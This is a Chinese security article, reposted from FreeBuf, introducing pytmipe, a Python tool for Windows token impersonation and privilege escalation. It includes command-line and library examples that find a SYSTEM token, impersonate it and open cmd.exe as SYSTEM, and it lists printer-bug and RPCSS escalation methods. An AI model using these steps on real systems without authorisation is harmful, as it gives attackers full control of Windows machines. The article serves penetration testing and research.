前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全研究 | 如何使用Pytmipe实现Windows上的令牌篡改和提权

安全研究 | 如何使用Pytmipe实现Windows上的令牌篡改和提权

作者头像
FB客服
发布2021-01-08 15:44:21
8330
发布2021-01-08 15:44:21
举报
文章被收录于专栏:FreeBufFreeBuf

PYTMIPE & TMIPE

PYTMIPE (通过令牌篡改和伪造实现提权的Python库)是一个Python 3库,支持在Windows系统中实现令牌篡改和模拟,最终实现权限提升。TMIPE则是一个Python 3客户端,它主要使用的就是pytmipe库。

PS:本文仅用于技术讨论和研究,严禁用于任何非法用途,违者后果自负

项目包含

一个Python客户端:tmipe(python3 tmipe.py); 一个Python库:pytmipe,用于将该项目与其他项目整合; Pytinstaller样例,用于获取可执行文件;

主要功能

方法

需要的权限

操作系统(未包含全部)

直接目标(最佳效果)

令牌创建&伪造

用户名& 密码

All

local administrator

令牌伪造&窃取

SeDebugPrivilege

All

nt authority\system

父PID嗅探(句柄继承)

SeDebugPrivilege

>= Vista

nt authority\system

服务(SCM)

本地管理员

All

nt authority\system or domain account

WMI 事件

本地管理员

All

nt authority\system

« 指针漏洞 » LPE

SeImpersonatePrivilege (Service 账号)

Windows 8.1, 10 & Server 2012R2/2016/2019

nt authority\system

RPCSS 服务LPE

SeImpersonatePrivilege (Service 账号)

Windows 10 & Server 2016/2019

nt authority\system

工具依赖

ctypes使用的情况非常多,pywin32的很多功能都已经整合进了pytmipe,以获得更好的可移植性。但是,目前由于时间紧任务中,任务调度程序模块仍然使用pywin32(更确切地说是pythoncom)。所有其他模块仅使用ctypes。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/quentinhardy/pytmipe.git

工具使用

针对python客户端(tmipe):

代码语言:javascript
复制
python.exe tmipe.py -h

usage: tmipe.py [-h] [--version]

                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                ...

                      **

    888888  8b    d8  88  88""Yb  888888

      88    88b  d88  88  88__dP  88__

      88    88YbdP88  88  88"""   88""

      88    88 YY 88  88  88      888888

-------------------------------------------

Token Manipulation, Impersonation and

     Privilege Escalation (Tool)

-------------------------------------------

By Quentin HARDY (quentin.hardy@protonmail.com)

positional arguments:

  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command

    cangetadmin          Check if user can get admin access

    printalltokens       Print all tokens accessible from current thread

    printalltokensbyname

                         Print all tokens accessible from current thread by account name

    printalltokensbypid  Print all tokens accessible from current thread by pid

    printsystemtokens    Print all system tokens accessible from current

    searchimpfirstsystem

                         search and impersonate first system token

    imppid               impersonate primary token of selected pid and try to spawn cmd.exe

    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe

    printerbug           exploit the "printer bug" for getting system shell

    rpcss                exploit "rpcss" for getting system shell

    spoof                parent PID Spoofing ("handle inheritance)"

    impuser              create process with creds with impersonation

    runas                create process with creds as runas

    scm                  create process with Service Control Manager

optional arguments:

  -h, --help             show this help message and exit

  --version              show program's version number and exit

针对python库(pytmipe),可以直接查看源码和样本,这些我已经提供了非常详细的文档以供参考。

针对pyinstaller样本和可执行文件,请查看该项目的src/examples/文件夹。

工具使用样例

样例一:拿到nt authority\system

如需伪造第一个system令牌,并以system权限打开cmd.exe(使用python客户端-tmipe):

代码语言:javascript
复制
python.exe tmipe.py searchimpfirstsystem -vv

我们也可以直接使用pytmipe库来进行相同操作:

代码语言:javascript
复制
from impersonate import Impersonate

from utils import configureLogging

configureLogging()

imp = Impersonate()

imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

样例二:拿到令牌

获取当前进程中的主令牌:

代码语言:javascript
复制
python.exe tmipe.py printalltokens --current --full --linked

输出:

代码语言:javascript
复制
- PID: 3212

------------------------------

  - PID: 3212

  - type: Primary (1)

  - token: 764

  - hval: None

  - ihandle: None

  - sid: S-1-5-18

  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}

  - intlvl: System

  - owner: S-1-5-32-544

  - Groups:

    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)

    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)

    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)

    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)

  - Privileges (User Rights):

    - SeAssignPrimaryTokenPrivilege: Enabled

    [...]

    - SeTrustedCredManAccessPrivilege: Enabled

  - issystem: True

  - sessionID: 1

  - elevationtype: Default (1)

  - iselevated: True

  - Linked Token: None

  - tokensource: b'*SYSTEM*'

  - primarysidgroup: S-1-5-18

  - isrestricted: False

  - hasrestricitions: True

  - Default DACL:

    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}

    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}

  [...]

  - Mandatory Policy: NO_WRITE_UP

如需从当前线程获取所有的令牌,可以使用下列命令:

代码语言:javascript
复制
python.exe tmipe.py printalltokensbypid --imp-only

输出:

代码语言:javascript
复制
[...]

- PID 4276:

        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)

- PID 7252:

        - None

- PID 1660:

        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)

        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)

        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)

        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)

        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)

[...]

如果想要使用pytmipe库来实现这个操作,也非常简单:

代码语言:javascript
复制
from impersonate import Impersonate

from utils import configureLogging

configureLogging()

imp = Impersonate()

imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

样例三:伪造令牌

我们可以选择一个令牌进行伪造。第一步,根据我们的过滤器获取所有的令牌:

代码语言:javascript
复制
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

输出:

代码语言:javascript
复制
[...]

- PID: 2288

------------------------------

  - PID: 2288

  - type: Impersonation (2)

  - token: 2504

  - ihandle: 118

  - sid: S-1-5-18

  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}

  - intlvl: System

  - owner: S-1-5-18

  - issystem: True

  - elevationtype: Default (1)

  - iselevated: True

  - linkedtoken: None

  - implevel: Impersonate (2)

  - appcontainertoken: False

  [...]

  - primarysidgroup: S-1-5-18

  - isrestricted: False

  - hasrestricitions: True

  - Mandatory Policy: VALID_MASK

  - canimpersonate: True

[...]

输出结果显示,伪造的令牌位于PID 2288,该令牌具有完整性级别系统。可以使用以下命令伪造此特定令牌:

代码语言:javascript
复制
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

这条命令将以nt authority\system权限打开cmd.exe。我们也可以使用pytmipe库来实现相同的效果,下面的源代码能够伪造第一个可用的system令牌,并打印有效令牌:

代码语言:javascript
复制
from impersonate import Impersonate

from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,

                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},

                                          _useThreadMethod=False)

if allTokens == {} or allTokens==None:

    print("No one token found for impersonation")

else:

    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'

    firstIHandle = allTokens[pid][0]['ihandle']

    imp.printThisToken(allTokens, pid, firstIHandle)

    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)

    print("Current Effective token for current thread after impersonation:")

    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

    imp.terminateImpersonation()

    print("Current Effective token for current thread (impersonation finished):")

    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

项目地址

Pytmipe:https://github.com/quentinhardy/pytmipe

参考资料

https://github.com/quentinhardy/pytmipe/blob/master/doc/Windows_Tokens_Impersonation_PE_Quentin_HARDY_2020_v1.0.pdf https://connect.ed-diamond.com/MISC/MISC-112/Manipulation-de-tokens-impersonation-et-elevation-de-privileges

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PYTMIPE & TMIPE
  • 项目包含
  • 主要功能
  • 工具依赖
  • 工具下载
  • 工具使用
  • 工具使用样例
    • 样例一:拿到nt authority\system
      • 样例二:拿到令牌
        • 样例三:伪造令牌
        • 项目地址
        • 参考资料
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档